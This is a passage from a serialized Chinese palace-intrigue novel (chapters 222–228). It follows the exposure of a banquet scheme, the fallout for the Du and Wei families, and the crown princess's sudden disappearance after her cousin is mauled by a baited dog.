以前他们夫妻得叫尉迟睿一声‘皇兄’,如今他们再碰面,该是尉迟睿叫他们夫妻‘皇兄皇嫂’了! 所以这些日子,尉迟睿几乎在新府中闭门思过,完全不跟任何人往来,更别说来这么多人参与的宴席! 就在夫妻俩准备去他们的席桌时,一名侍卫急步跑进宴殿,向尉迟晟禀道,“启禀皇上,小的们巡逻时发现琉光殿有异常,前去查看后竟发现有人在琉光殿行苟且之事!” 闻言,尉迟晟拍桌怒道,“何人如此猖狂无耻,给朕拿下!” 侍卫回道,“回皇上,是魏家公子魏永淮和杜家小姐杜安雯。” 宴殿中的人全都竖着耳朵听八卦,魏广征因为告了病假,今夜魏家并未出席宴会。可杜友冲和杜夫人听到女儿的名字后,一下子就炸起来了。 夫妻俩都来不及听尉迟晟发落,便奔出宴殿朝琉光殿的方向跑去—— 琉光殿平日里没住人,原本该寂静无声的殿宇今夜却因为男欢女爱的声音热闹非凡。 杜友冲和杜夫人赶来,就见一众侍卫守在一间房外,而房里是他们女儿刺耳的放荡声。 杜友冲恨不得挖个地洞钻进去把自己活埋了! 杜夫人最终坚持不住,翻着白眼晕死了过去! 不多时,尉迟晟带着人赶了过来。 听着房里放荡形骸的声音,他忍不住朝齐绥下令,“去!把里面不知廉耻的东西打晕!” 齐绥得令,赶紧带着侍卫将房门撞开,然后冲了进去—— 不多时,侍卫抬着一对男女出来。 二人身上裹着被单。 虽遮了体,可只要眼不瞎,都能猜到被单下是何光景。 尉迟晟指着瘫坐在地的杜友冲,怒道,“杜友冲,这就是你养出来的好女儿,竟敢在宫中行这等苟且之事,是当朕死了吗?” 杜友冲脑袋深深地埋在地上,根本没脸抬头。 尉迟晟扬声下令,“传朕旨意,大理寺卿杜友冲教女无德,纵女宫中淫乱,不堪为朝廷命官,从即刻起,革去杜友冲大理寺卿之职!把这些肮脏的东西全扔出皇宫!” 杜友冲听完,跪地的身体止不住晃动,突然往地上一倒,也如杜夫人一样晕死了过去—— …… 骆丽娴没跟去琉光殿看热闹,而是匆匆离宫回了梁王府。 她回去不久,莫千骁便找来了,毫不客气地问她,“今晚的事是你搞出来的?” 骆丽娴忍着心中慌乱,摇头道,“四皇兄,不是我,是尉迟凌和夜时舒! “他们做的?那你心虚什么?那魏永淮不是你姘头吗,你难道就不想知道他为何会跟别的女人淫乱?”莫千骁冷声质问。在宴席中他就发现这女人神色不对劲,别人都去看热闹了,她却一言不发就跑了。 “四皇兄,正是因为我和魏永淮关系不一般,所以我才要避嫌。” 正在这时,尉迟睿从门外进来。 见他们兄妹争执,沉着脸问道,“今晚不是四皇子的接风宴吗?怎如此早就回来了?” 莫千骁恶狠狠地瞪着骆丽娴,“本皇子警告你,在我们没行动之前,你别没事找事!若是坏了我们的计划,本皇子绝不轻饶你!” “是,四皇兄,我知道该如何做,不会影响你们的计划的。”骆丽娴低头温顺地应道。 虽然在宫中面对尉迟凌和夜时舒时她很心虚,可回到梁王府她冷静下来后,细细一想,魏永淮和杜安雯肯定是尉迟凌和夜时舒做的手脚,那最多让魏永淮和杜安雯名节扫地,也影响不了其他。 所以,她完全没必要害怕。 “四皇子,既然来了,那便去书房坐坐吧。”尉迟睿抬手为莫千骁引道。 第223章 大闹梁王府 东宫。 宴席散后,夜家人全都留在了东宫。 不过不是一家人小聚,而是以尉迟晟为首的审讯。 九姑将一名宫女扔到殿中。 文岩和文墨押着一名黑衣人。 吴钺则是拧着一名太监。 这三人,还没等尉迟晟龙颜大怒,便哭着全招了。 他们都是被骆丽娴以数百两银子收买,黑衣人负责对尉迟凌行刺,那名宫女负责带杜安雯去东宫,而太监负责把夜时舒引去琉光殿。 “这骆丽娴真是狗胆包天,敢在朕眼皮下作恶,真以为朕不敢杀她?”尉迟晟拍桌怒道。 夜时舒安慰他,“父皇,她这些手段拙劣得可笑,您就当看小丑蹦跶,别真的上气。” 尉迟晟看了一眼她肚子,皱眉道,“她仗着自己腹中有孩子就敢对你们夫妻下手,若是知道你也怀了身孕,只怕她会更加不择手段。” 尉迟凌冷不丁开口,“只要父皇不给东宫塞女人,太子妃和腹中孩子自然安然无虞。” “朕……”尉迟晟心虚又懊悔。 儿子不愿再接纳别的女人,他能理解,因为两个儿子身份的调换,说白了就是他后宫女人为了争权夺势才做出来的,二十几年的身份错位,换谁都不可能释怀。 而他默许杜友冲一家去接近儿子,才导致那杜家女不知天高地厚和骆丽娴、魏永淮勾结,欲毁儿子儿媳名节,他这帝王也难辞纵容之过。 “凌儿,朕不是后悔了嘛,所以今夜朕才不顾使节在场亲自去琉光殿捉奸!你看,那杜友冲也丢官去职了,有他这么一个前车之鉴,他人再也不敢轻易打你的主意了!你说是不?” 他堂堂一帝王,竟要讨好儿子…… 夜时舒见尉迟凌依旧沉着脸,赶紧扯了扯他的衣袖。 尉迟凌的神色这才舒展开来,温声道,“父皇,时候不早了,儿臣送您回寝宫。” “嗯。”尉迟晟笑着起身。 “恭送皇上。”夜庚新带头呼道。 目送他们父子离开后,夜时舒随即就对九姑说道,“九姑,我爹累了一天了,你先带他去休息吧。我和大哥、二哥他们说说话。” 夜庚新立马挺了挺腰板,“嗯,是有些累了。” 九姑耳根子发着烫,把夜庚新领到了她这几日住的殿宇中。 一进卧房,夜庚新就在房里四处打量,然后坐上床榻,有些没好气地瞪着九姑,“在东宫住得可还习惯?” “又不是初次在太子和太子妃身边做事,有什么不习惯的?”九姑直接给了他一对白眼。 “你是习以为常了,就没想过我在府中如何过日的?” “就几日少了我暖床而已,将军就不习惯了?”九姑坐到他身侧,伸手为他宽衣,嘴里笑骂道,“你也是真不怕被人笑话!” 夜庚新也笑了起来。 …… 翌日。 骆丽娴在睡梦中被丫鬟叫醒。 “何事如此惊慌?” “王妃,那杜夫人带着人在王府门外大闹,说她女儿杜安雯在宫中失了清白,还连累杜大人丢了官职,说都是您害的,发着狠要找您讨要说法呢!”丫鬟急声禀道。 骆丽娴一听,不但没了睡意,还满腔怒火。 “快为我梳洗!” “是。” 大门外。 杜夫人带着一群人围着王府大门破口大骂。 梁王府虽然比其他府邸偏僻,但也不知道怎么回事,今日路过的人不少,随着杜夫人谩骂的声音,不知不觉便有了数十上百人围观。 骆丽娴带着丫鬟走出大门,看到杜夫人那泼妇模样,立即对侍卫下令,“敢在梁王府闹事,真是活腻了!来人,把这泼妇拿下!” “是!”两名守门的侍卫领命。 可不等他们上前,杜夫人的手下便上前护住杜夫人。 杜夫人立马朝人群撕心裂肺地哭喊,“你们快看啊,梁王妃这是要草菅人命呐!她在宫宴上骗我女儿去勾引太子,害我女儿被其他人玷污,这等无耻下作之妇,简直不配为人!还什么北蔺国公主呢,这分明就是北蔺国派来我们大邺国的细作,就是一个祸国殃民的贱人!” 看着人群中那一张张因杜夫人挑拨的话而对自己充满厌憎的脸,骆丽娴气得浑身直抖。 她本以为昨夜的事皇上和太子没追究,就可以揭过去了,可她怎么都没想到,杜夫人竟然会跑来梁王府大闹! 这泼妇,她是怎么敢的?! “杜氏,无凭无据你敢造谣污蔑本王妃,你是活腻了吗?” “是啊!我就是活腻了!”杜夫人叉着腰跳着脚,满脸横肉又凶又虎,“你把我女儿害了,还害得我家老爷丢官去职,我们一家没有活路,我也不会让你好过!就算死,我也要拉你垫背!” “你……” 就在骆丽娴忍无可忍想回骂她时,人群突然被人强行挤开一条道。 看着来人,骆丽娴脸色微白。 不过心虚归心虚,莫千骁到底是她的靠山,她不可能放着这么大的靠山不用。 于是她哭着先向莫千骁告起状来,“四皇兄,你可算来了!这杜家夫人不知发什么疯,竟然一大早就来梁王府大闹,说我害了她女儿和她老爷!还说我是北蔺国派来的细作,说我是祸害,四皇兄你可要为我做主啊,绝对不能让这等恶毒搬弄是非坏了大邺和北蔺两国邦交!” “骆丽娴,你怎如此无耻,竟敢恶人先告状!”杜夫人悍如母虎地指着她。 莫千骁黑沉着脸,扫视了一眼围观的百姓,再盯着杜夫人,冷声斥道,“你女儿与人苟且,乃是皇上亲自去捉的奸。你夫君身为朝廷命官,教女无德,才使龙颜大怒让他丢官去职。你若有不服大可去找你们陛下申冤,跑梁王府来和亲公主麻烦,是当我们北蔺国好欺负吗?” “你……”杜夫人双眼狰狞地瞪着他。 杜家完了。 什么都没有了。 她今日来就是要与骆丽娴鱼死网破! 然而,她闹得厉害,骂得也凶悍,可偏偏就没想到莫千骁会来得如此快。不等她再说什么,她的嘴就被莫千骁的手下捂住嘴。 莫千骁冷声下令,“此妇人搬弄是非、辱骂和亲公主、意损公主名声、坏两国邦交之谊,把她送去官府,务必让官府给我北蔺国一个说法!” “是!” 对于人群的窃窃私语,莫千骁冷漠视之,转身又对骆丽娴咬牙溢道,“给我进去!” …… 厅堂里。 骆丽娴低着头站在莫千骁面前,还不等她主动解释,莫千骁便扬手给了她一耳光,怒问,“昨晚的事当真是你做的?” 骆丽娴捂着脸跪下,哭道,“四皇兄明鉴,那全是杜夫人的污蔑之言!杜家小姐爱慕尉迟凌,魏永淮对夜时舒一直存有觊觎之心,他们趁着宫宴的机会各自行动,根本不关我的事啊!” 第224章 你有本事养我吗? 莫千骁冷哼,“如果没有你的安排,他们如何敢在宫中作乱?别以为本皇子不知道,你前两日分别去见过魏永淮和杜家女!” “四皇兄……”骆丽娴还想要解释。 尉迟睿从门外进来,低沉道,“四皇子息怒,那都是本王授意的。” 骆丽娴回头看着他,泪眼中充满了惊诧。 莫千骁倏地眯起眼,“王爷这是?” 尉迟睿在另一侧主位落座,看了一眼骆丽娴,然后勾着唇角说道,“本王没别的意思,只是想把魏永淮除掉而已,所以才让娴儿做了一些布局。” “那魏永淮时常来打扰娴儿,对娴儿的名节多有不利。本王此番设计,如果他能顺利成事,那便能毁了夜时舒清白,离间夜时舒与尉迟凌的夫妻情分。虽说此次他失败了,可他因与杜家女在宫中淫乱一事被打入天牢,也算如了本王的意。” 他解释得有理有据,莫千骁听后,怒容改为了笑容,“原来是王爷安排的,我还以为是我这个傻妹妹擅作主张呢!” 他弯下腰将骆丽娴扶了起来,并拿出自己的手帕为骆丽娴拭去脸上的泪水,还温声哄道,“皇兄也不是有意的,只是怕你冲动行事坏了我们的计划。你受委屈了,快些回房休息吧。” 骆丽娴抽噎着朝尉迟睿看了一眼。 虽然他对莫千骁说了谎,但有一点她相信他说的是真的—— 那就是除掉魏永淮! 毕竟魏永淮的存在,不但时刻提醒着他帮人养野种的耻辱,将来孩子出生,魏永淮还会以此做把柄拿捏他,连她都受不了魏永淮的存在,何况是骄傲又自负的废太子! 也许就是这一点,他才会站出来帮她说谎,把昨夜的事揽到自己身上! “四皇兄、王爷,娴儿先退下了。” 待她一走,尉迟睿让人上了茶。 莫千骁挑眉道,“王爷对我这个愚蠢的妹妹不会真动了心吧?” 尉迟睿笑笑,回道,“四皇子想要我父皇对你们放下戒心,就必须留下她这个和亲公主。你怎么说也是他兄长,可别让人发现你待她还不如本王。” “呵!”莫千骁轻笑,“好,本皇子以后会注意的。” …… 杜府。 听说杜夫人被人送进了官府,杜友冲第一时间不是去官府救人,而是去到杜安雯房中,又将这个女儿打了一顿。 “你这个不知廉耻的东西,真是丧门星转世,专门来害我们的!” “你也不瞧瞧你什么德性,竟敢去招惹太子和太子妃,害得老子丢官去职,你现在高兴了吧、满意了吧?” “明明你外祖母给你说好了亲事,你非要做那鬼什子美梦,还跟老子说你能当皇后,你当个鬼什子皇后,还不如给老子出去讨饭!” 昨晚杜安雯就已经被狠狠打了一顿了,身心俱疲的她还没缓过劲儿,又遭遇毒打,哪怕她口吐鲜血、浑身痛得已经麻木,杜友冲都还没有停手的意思。 望着狰狞又凶残的父亲,她涣散的瞳孔中除了绝望再无其他。 她是后悔了。 不该去招惹那个不属于自己的男人。 原本她是高贵的官家小姐,受人追捧,无论嫁给谁,她这一辈子都不会差。 可她却偏偏挑中了冷酷无情的尉迟凌…… 看着他对夜时舒的温柔和疼爱,她以为只要成了他的女人,便能像夜时舒一样得到他的温柔和疼爱,甚至强过夜时舒…… 然而,她错了,大错特错,错得离谱! …… 魏家。 得知儿子在宫中与杜安雯的荒唐事,葛氏瞬间觉得天都塌了,难以接受的她当场晕死了过去。 等到她醒来,看到床边坐着的男人,她激动不已地怒道,“你来做什么?” 游建彬道,“我来能做什么,当然是来看你啊!幸好啊我来了,不然你还没这么快醒过来呢!” 可葛氏一点都不领情,黑着脸道,“我说了没事别往魏家跑,要是让人看到了,我不会放过你的!” 游建彬‘嘿嘿’笑了一声,指着门外某个方向,“姓魏的那副鬼样子,先不说染了脏病,就他现在还剩下一口气了,你不会对他还有什么指望吧?还有你那个儿子,在宫里干出那种事,还是被皇上亲自捉奸,这辈子怕是都只能在牢里度过了,你难不成还指望他给你养老送终?” “闭嘴!”葛氏忍不住怒吼。 下一刻,她泪如雨下,捂着脸哭得不能自已。 游建彬叹了口气,“都这样了,你哭有什么用?反正我家的那个已经死了,你家这个也快了,不如我们下半辈子凑合得了!” “凑合?拿什么凑合?你有本事养我吗?”葛氏嫌弃的怒问。 “我是没本事养你,可我兄弟有本事啊!”游建彬不以自己无能为耻,反而扬着下巴沾沾自喜,“虽然我被剥夺了候位,可我是游家长子,游建川必须得养着我!他现在跟着夜家混得可好了,要什么有什么,你若是跟了我,我就算短了自己吃穿也不会短你的!” 葛氏只流泪不说话了。 她从未想过自己有天会家破人亡…… 曾经的丈夫虽然本事不大,但也是四品官员,虽然比不上京城的天潢贵胄、豪门世家,但比下绝对有余的。儿子虽然不成气候,但也孝顺听话。 可从什么时候起,不仅丈夫变了,儿子也变了。明明是她至亲的人,可一个个却变得那么不可理喻,最后染病的染病、坐牢的坐牢…… 她一个内宅妇人,下辈子该如何过活? 正在这时,丫鬟从外面跌跌撞撞跑进来,哭着道,“夫人……老爷听到公子入狱的消息……去了!” …… 东宫。 魏广征去世的消息夜时舒第一时间就收到了。 “小妹,魏家现在就剩葛氏了。不过听玉娘说,她最近挺‘滋润’的,我们那个二舅舅三天两头就爬墙往她屋里钻,他俩过得那叫一个快活!”夜时竣一边笑一边讲着魏家最近的事。 “二哥,娘的死因只有我们俩知道,这笔血债她葛氏必须偿还!让她活了这么久已经够了,没天理还让她继续逍遥!”夜时舒憎恨地道。 提到母亲的死,夜时竣也不笑了,眼中只有无尽的杀意,“放心,娘怎么死的,我便要她怎么血债血偿!” “时竣、小妹。”顾思沫来花园找他们,见兄妹俩神色不对劲儿,不由地问道,“怎么了?发生何事了?” 第225章 请她去给他们长势 “没事,就是和小妹聊起某些狗东西,心中愤懑而已。”夜时竣一把搂住她的肩,反问她,“你不是在房里捣鼓药草吗,捣鼓完了?” 顾思沫将手中的药瓶扬了扬,然后塞了一瓶到夜时舒手中,“小妹,这是我重新做的药丸,我尝过了,比之前的效果好。” 夜时舒如获至宝的捏紧瓶子,笑着道,“谢谢二嫂!二嫂对我最好了!” 这是顾思沫花了心思调配的药,能很好地缓减害喜时的难受,让她在外面时不会太明显。 “小妹,你这话说得我就不爱听了,咋就二嫂对你最好了,难道二哥我对你不够好?”夜时竣一脸酸味。 噗! 夜时舒忍不住喷笑,“二哥,这种醋也吃,当心二嫂打你!” 顾思沫拿手肘撞了夜时竣一下,“都要当爹了,能不能有个正形?” 夜时竣挽住她的手咧嘴笑。 一名太监走进花园,上前禀道,“启禀太子妃,宫外有一夜氏老妇自称是您的姑婆,说求见您。” 夜时舒还没开口,夜时竣便拉长了脸,“这老太婆就是来攀亲的!” 夜时舒想了想,还是吩咐小太监,“把她带进来吧。” “是。” 不多时。 范老夫人被太监领着进了东宫。 今日的她许是知道来的地方不同凡响,所以穿得特别称头,一头银发盘得溜亮,也不知道抹了多少头油。 这次见面,她更是罕见地跪在殿中向夜时舒行大礼,“拜见太子妃!太子妃万福金安!” “姑婆,快请起。”夜时舒微笑着抬了抬手。 “谢太子妃。”范老夫人起身,望着她笑得两眼成缝,“听说您搬进了东宫,姑婆本该早些来向您道贺的,但姑婆身份低微,怕丢了您颜面,故而拖到今日才厚着脸皮前来。太子妃,您不会怨姑婆吧?” “姑婆有心了。”夜时舒还是微笑着回她。 见她没说别的,范老夫人眉心微蹙。 自己作为她的亲姑婆,她不该给自己一个恩典,好让她以后随时能进宫吗? 想到什么,她从袖中拿出一只木盒子,走到夜时舒面前打开,慈祥地说道,“太子妃,姑婆也没什么好拿得出手的,这是姑婆的嫁妆,今日赠予你,当时给你道贺了。” 夜时舒看着木盒里的镯子,质地和成色都属上乘。 她嘴角翘了翘,心道今日真是太阳打西边出来了,抠门又贪荣的老太婆竟然会送她这么贵重的东西! 俗话说,无事不登三宝殿,这老太婆肯定有目的。 “姑婆,你的好意本宫心领了。何况你是长辈,本宫都还没来得及孝敬你,哪好意思收你的礼呢?”她将木盒推回去,笑着吩咐秋菊和冬雪,“快奉茶,再把今日御膳房送来的糕点给本宫的姑婆尝尝。” “是。”两丫头应声后便分头张罗起来。 范老夫人见她没有要收的意思,虽有些尴尬,但听说有御膳房的糕点可食,那点尴尬又很快被欢喜取代。 “姑婆,坐吧。”夜时舒抬了抬手。 “诶诶!”范老夫人在她所指的软凳上落座,一双老手搓了好几下,然后才又同她说道,“太子妃,前些日子托太子殿下的福,你云濡表哥顺当地进了国子监,这事姑婆一直没来得及向你和太子殿下道声谢。这月十六,姑婆生辰,想请你和太子殿下去我们那坐坐,姑婆想好好感谢你们。就是不知道,你和太子殿下是否能赏姑婆这个脸?” 夜时舒听后微微蹙眉。 见她不应,范老夫人起身,躬着腰哀求道,“太子妃,姑婆知道现在租借的地方寒酸破旧,让你屈尊降贵是委屈了。可是姑婆现在在京城,就云濡和云莹兄妹俩陪着,姑婆也想有个热闹的生辰宴。” “而且云濡现在在国子监过得也并不舒心,那里的同窗都嫌他小地方来的,处处排挤他。如果你能去姑婆家坐坐,哪怕只是露个脸,也能给你云濡表哥长长气势,让他在同窗面前能抬得起头。” 说到这,她突然跪下,给夜时舒磕了一头,“太子妃,算姑婆求你了,就去姑婆那里坐坐吧。” 夜时舒知道她有目的,但没想到她的目的竟是给范云濡助势! 她深吸一口气,压着火气,说道,“姑婆,你的生辰本宫记下了,回头我同太子说说,看他那日是否得空。” 闻言,范老夫人抬起头,又恢复了一脸笑意,“真的?那可就说定了,这月十六,姑婆一定备好酒菜等着你和太子殿下大驾光临!” 夜时舒淡淡地点了点头。 正在这时,春柳从外面进来,禀道,“启禀太子妃,妍妃娘娘请您去锦福宫赏花。” 夜时舒起身,上前将范老夫人扶起来,歉意地道,“姑婆,妍妃娘娘怀着小皇子,本宫去陪她说说话,今日就不招待你了。” 范老夫人目的已达到,开心的她自然善解人意,“妍妃娘娘怀着小皇子,贵重无比,是得好好陪着。姑婆今日能见到你已经心满意足,哪好意思再叨扰呢?你去忙吧,姑婆这就回去了。” 夜时樊吩咐春柳,“夏花去御膳房拿糕点了,你去告诉夏花,多准备些,让本宫的姑婆带回家去。” “是。”春柳应道。 没多久,范老夫人提着两大食盒离开了东宫。 她一走,夜时竣和顾思沫便进了殿。 “小妹,这老太婆不光爱慕虚荣,还贪得无厌,你不会真打算去给他们祖孙长脸吧?” “呵呵!”夜时舒忍不住发笑,“二哥,我可没答应!我只是想赶紧打发她离开而已!范云濡在国子监的情况太子已经同我说过了,他明明没什么才华,只是从小被捧着长大,自视甚高,总觉得自己满腹经纶胜过所有人。那国子监里的学子们都是佼佼者,要么家世雄厚、要么才情斐然,是骡子是马在他们面前都是一览无余的。与其说范云濡被排挤,不如说人家压根就瞧不上他。” 顾思沫鄙夷道,“亏得太子亲自为他引荐,真是白费了一番心力!” 夜时竣想起什么,突然问道,“对了,宏泽表弟不也去了国子监吗?他在国子监混得如何?” 提到游宏泽,夜时舒笑得自然又欣慰,“听太子说,国子监的先生们对宏泽表哥都赞不绝口,学友们也喜欢和他谈论诗赋,他在国子监人缘可好了!” “那就好。”夜时竣也笑,“裕丰侯府在大舅舅手中失去了承袭资格,游家的希望还得靠宏泽表弟了,他今年若是能上榜,将来的游家说不定比外祖父在世时还辉煌。” …… 范老夫人的生辰宴,夜时舒直接抛到了脑后。 他们现在的注意力都在梁王尉迟睿和北蔺国莫千骁身上。 如今的尉迟睿变成了曾经的尉迟凌,不入朝堂、不问朝事,一心待在府中,比深闺小姐还坐得住。 莫千骁虽时常去梁王府,但也是打着看望妹妹的名号,除了梁王府也没见北蔺国的人有任何异常行动。 盯了数日,什么都没发现。 倒是魏家那边,魏广征死后,葛氏以天气炎热为由,让魏广征遗体在家停了两日便草草入棺下葬了。 要不是魏广征的身份需要上报,都没几个人知晓他已经死了。 当然,他以那种见不得光的病去世,就算大肆宣扬,估计也没几个人会去送他最后一程。 夜时竣原本是想对葛氏下手的,尉迟凌得知后把他拦下了。主要还是尉迟睿和莫千骁这边太过平静,仿佛随时都会崩出什么大阴谋,叫人不得不打起十二分精力防备。 不知不觉就到了范老夫人生辰的这一天。 夜时舒和尉迟凌虽然没去,但夜庚新作为亲侄子,带着九姑去了。 午时。 尉迟凌刚回东宫,夜时舒正准备叫人布膳,最近一直在宫外活动的文岩慌忙火燎地回来报信。 “殿下!宏泽公子被恶犬追咬,不但遍体鳞伤,还折了腿!” “什么?”夜时舒震惊不已,“在哪出的事?” 文岩抹了一把汗,继续说道,“太子妃,是这样的,今日您姑婆生辰,云濡公子邀了宏泽公子和国子监的一些学友去给您姑婆贺寿。也不知道哪里来的恶犬追着宏泽公子咬,宏泽公子被咬伤后跌进一处水沟中,把腿摔折了!这会儿人还在您姑婆家里呢!” 尉迟凌沉声道,“去叫华芯,让她立即赶去!” 夜时舒揪心道,“阿凌,我们也去看看吧。” 第226章 夜时舒动怒 游建川受伤,尉迟凌也是恼怒不已的。 尉迟晟让他接下大学士之职,并负责今年秋闱考试,其隐含的意义就是给他特权,让他挑选自己中意的文臣,而后逐步取代那些对尉迟睿还心存幻想的官员。 游宏泽虽为夜时舒的表兄,看似是关系户,可游宏泽的人品、才学是受过他筛选的。 换言之,他对游宏泽有栽培之意,只待今年游宏泽科考中表现出色,他便能名正言顺的委以游宏泽重任。 夫妻二人赶至范老夫人租住的地方。 除了夜庚新和九姑外,听闻儿子出事,游建川和马氏第一时间赶来了。还有夜时珽、夜时竣、顾思沫、离瑶都纷纷赶来了。 这是一处极简的民宅,屋前是空旷的院坝,除开堂屋外,就三间窄小的屋子,外加一处厨房。 对外人来说,他们范家祖孙实在寒酸。可在夜时舒他们眼中,这都是他们祖孙活该! 范云濡来京城考试,原本他们是能借住将军府的,可范老夫人和范云莹几番作妖,夜庚新就差没与范老夫人断绝姑侄关系就已经是格外开恩了,哪里还会容忍他们再攀附将军府? 今日范云濡请了学友们来给范老夫人祝寿,不是因为国子监的这些学子们喜欢热闹,而是范云濡早就把太子和太子妃要来给范老夫人祝寿的消息散播了出去,那些学子们一听这消息,谁敢不给范云濡面子? 而游宏泽也在这批学子中,因为和范云濡一样,都是夜时舒的表兄,他便也应邀来了。 见夫妻俩驾到,院坝里的学子们纷纷行礼参拜。 尉迟凌给夜时舒使了个眼色,然后快速去了范云濡所在房间。 夜时舒扫了一眼院坝里的学子们,有十二人,各个神色紧张,明显是被吓到了。 “都起来吧!” “谢太子妃!” “谁能同本宫说说,今日之事是如何发生的?” 学子们你看我、我看你,然后最左边的一人先站出来,躬身说道,“禀太子妃,我等应云濡学友所邀前来为其祖母贺寿,在快要到家时,一恶犬突然出现,恰巧宏泽学友走在最后,便遭了那恶犬攻咬。我等都是文弱的书生,当时害怕极了,宏泽学友为了不让恶犬伤及我们,便将恶犬引至他处,哪曾想竟不慎跌入水沟中……” “那恶犬呢?”夜时舒冷着脸问道。 “回太子妃,那恶犬见宏泽学友落水沟后便跑了。” 夜时舒眯着眸子再一次扫视在场的学子,然后对文岩吩咐道,“送他们离开,若是后面查起来,有疑惑的地方再请他们作证。” 学子们一听说可以离开了,纷纷向她行礼告退。 待院坝里安静了,夜时舒这才朝游宏泽所在的房间而去。 离瑶守在门外,见她过来,忙拉着她小声说道,“太子妃,您还是不要进去了,游公子伤得极重,皮开肉绽的,您现在怀着身子,还是不要瞧见为好。” “华芯和时竣留下,其他人退下!”屋内传来尉迟凌冷硬的嗓音。 夜庚新、游建川、夜时珽最先从里面出来。 九姑扶着一脸是泪的马氏走在后面,在他们身后是范老夫人、范云濡和范云莹。 “二舅母。”夜时舒上前搀住马氏另一侧,将她带至一旁,低声安慰道,“放心吧,有芯儿在,宏泽表哥不会有事的。” 马氏张着嘴刚想说话,范老夫人便迎过来,一脸嗔怪道,“太子妃,你们怎么才来?” 夜时舒一记冷眼射向她,“本宫有说要来吗?”随即她朝范云濡的方向瞪过去,“科考在即,当以学业为重,你们却利用生辰宴满足你们的虚荣之心,妄图让本宫和太子给你们助势,真是过分!你们怎不直接让太子给你们个官位,让你们一家直接平步青云做人上人啊?” 第227章 方圆五里掘地三尺 范老夫人一脸难堪。 范云濡听着夜时舒斥骂的话,上前跪在夜时舒面前,一边认错一边解释,“太子妃,今日邀学友们前来,我们绝没有任何企图。因祖母陪我来京赴试,身边未有亲人陪伴,太过孤寂,我心疼之,便擅作主张邀学友们来家中坐坐,只为添一份热闹让祖母开心。太子妃,您要罚就罚我吧,毕竟宏泽受伤,都是因我而起。我若不邀他来家中做客,今日便出不了意外。” 夜时舒捏着拳头,她想冷静,可是看着范家祖孙她就一肚子鬼火。 “小妹,等华神医给宏泽看了伤势再说,你先去屋里坐坐,别累着了。”夜时珽温声安慰她,并给离瑶递眼色,让她带夜时舒去隔壁屋中。 闻言,范老夫人身旁的鸢尾赶忙为夜时舒引路,“太子妃,这间屋子干净些,您去这间屋子休息吧!” 夜时舒也知道,自家大哥是怕她情绪过激伤到腹中孩子,于是也听劝地进了鸢尾所指的屋子。 离瑶跟着她进屋。 不多时,九姑给她端来茶水,见她郁气难消,安慰她,“太子妃放心,太子跟着老阁主行医时是在军营中,那些年间所有受伤的将士都是太子亲手医治的,所以他对跌打损伤最是擅长。宏泽公子由他亲自医治,定会安然无恙的。” 夜时舒看了一眼房门外,冷着脸道,“我不相信宏泽表哥被狗咬是意外!九姑,麻烦你盯紧这祖孙三人,看看他们有何异常举动。” “嗯,我会的。”九姑点了点头,然后退出了房门。 离瑶从怀里拿出一只袖珍的方形盒子,献宝似的递给夜时舒,“太子妃,这是我从家带出来的彩豆,给你玩。” 夜时舒结果小盒子打开,里面装着拇指盖大小的豆子,红、黄、蓝、绿、青、白、紫,七颗豆子七种颜色,漂亮又独特。 “瑶儿,这什么做的,真好看!” “这是我们部落才有的七子果果核,嘻嘻!”离瑶咧嘴笑道。 夜时舒知道她是逗自己开心,也发自真心地冲她笑了笑,“谢谢,看着这么漂亮的东西,心情的确好多了。” “那这盒彩豆就送你了。”离瑶顿了一下,突然补充道,“不过这些彩豆只能玩一会儿,不能玩太久。” “为何?” “这彩豆虽然是果核,但是在我们家那边是捕猎的诱饵,玩久了会招狼的。” “……!”夜时舒唇角狠狠一抽。招狼的诱饵,能随便玩吗? “太子妃,突然想起一件事,你先坐会儿,等下我再来陪你。”离瑶说着话便跑了出去。 怕有人打扰她,还贴心地把房门关上。 夜时舒看着她孩子气的样子,忍不住失笑。 收回视线,她看着盒子里的彩豆,然后晃了晃盒子,是挺好玩的,不过她现在没心情玩。 于是她盖上盒子,把盒子放进怀兜里。 …… 另一边。 尉迟凌正在给游宏泽治伤,顾思沫和夜时竣负责给他打下手。 游宏泽身上被咬的皮外伤好处理,但右腿骨折是最严重的,三人都专心致志地,没注意到房门被打开。 一个身影狗爬似地进了屋,悄悄地到床边,捡起被扔在床下带血的破碎衣物,放到鼻子下不停地闻来闻去。 “瑶儿!你、你干什么?”最先觉察到有人进屋的顾思沫险些被吓一跳。 夜时竣和尉迟凌回头朝床下看去,两张俊脸都忍不住泛黑。 她跟某种动物一样趴在地上,手里抓着从游宏泽身上剪下来的染血衣物,还闻得格外用力和认真,这叫谁看了不觉诡异的? “那个……我就是闻闻……”离瑶不好意思的解释。 然而她这解释更是让人狂掉黑线。 夜时珽推门进来,看到这一幕,一张俊脸更是黑得彻底,一向温和的他嗓门都拔高了,“离瑶!你在做什么?” 这女人就不能做个正常人吗? 别的事他都能忍,可现在居然抓着其他男人的衣物闻…… 这什么变态嗜好?! 他气急不已地上前,想把离瑶从地上提起来,但离瑶见他进来了,先一步从地上蹦起来,然后冲他‘嘿嘿’发笑,“宏泽公子的衣物上有腐肉的气味,我猜是有人做了手脚,才让他被恶犬追咬的。” 她这话一出,夜时珽他们全都冷下了脸。 夜时竣忍不住走向她,抓过一片碎布,学着她使劲嗅了嗅,皱眉道,“只闻到血腥味,哪有腐肉味?” 离瑶挺直了腰杆,扬着下巴不服地道,“我没说谎!我从小到大同飞禽走兽打交道,鼻子练得比狗还精,绝对不会闻错的!” 顾思沫赶紧蹲下身,把地上余下的碎片衣料全捡了起来,然后让夜时竣把外袍脱了,将这些带血的衣料全裹了起来。 正在这时,游宏馨从门外进来,望了一眼房里的人,突然问道,“咦,太子妃呢?” 离瑶转身回她,“她在最边上那间房里。” 游宏馨摇了摇头,“没有啊,我方才去看过了,太子妃不在那间房里。” 听到这,尉迟凌立即拔腿奔出房门。 夜时珽他们也赶紧跟了去。 这处小院,就三间卧房、一间堂屋、一间厨房,想躲猫猫都不够地方,更别说一个大活人说不见就不见—— “文岩、文墨!”尉迟凌一身寒气笼罩,满眼嗜血的杀气瞪着范老夫人和孙儿、孙女,低吼道,“去军营调人马,方圆五里掘地三尺,倘若找不到太子妃就把范氏祖孙三人凌迟!” 第228章 我有办法找到太子妃 “啊!” “太子殿下饶命!” “求太子殿下明鉴,我们什么都没做啊!” 范老夫人、范云濡、范云莹祖孙三人惊恐不已地向尉迟凌跪下。 眼见文岩文墨领命后就去执行了,范老夫人又朝夜庚新哀求,“庚新啊!姑母什么都没做,你快帮太子殿下求求情,让他别迁怒我们啊!” 